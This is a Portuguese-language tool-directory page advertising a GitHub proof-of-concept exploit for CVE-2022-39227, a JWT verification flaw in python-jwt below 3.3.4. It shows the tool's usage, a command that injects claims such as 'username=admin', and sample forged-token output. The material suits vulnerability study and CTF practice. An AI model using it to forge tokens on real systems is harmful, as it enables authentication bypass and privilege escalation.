Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-39227 — CVE-2022-39227 : Prova de Conceito | Kitploit
Ferramentas/GitHubGitHub/user0x1337/cve-2022-39227
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoSegurança WebCTFAutenticação
GitHubuser0x1337/cve-2022-39227

CVE-2022-39227

CVE-2022-39227 : Prova de Conceito

Ver Repositório
221há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-39227

CVE-2022-39227 : Prova de Conceito

Prova de conceito para o CVE-2022-39227. De acordo com este CVE, existe uma falha na verificação do JSON Web Token. É possível, com um token válido, reutilizar a sua assinatura com claims modificadas.

Requisitos:

  1. Um JSON Web Token válido.
  2. O backend precisa usar a biblioteca python "python-jwt" na versão < 3.3.4

Para facilitar o uso, escrevi um PoC simples durante um CTF:

root@kitploit:~
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

Uso:

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

Retorno:

root@kitploit:~
{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

O valor de retorno é uma forma mista de JSON e representação compacta. Você precisa colar o valor inteiro, incluindo "{" e "}", como seu novo token web JWT.

Baixar ferramenta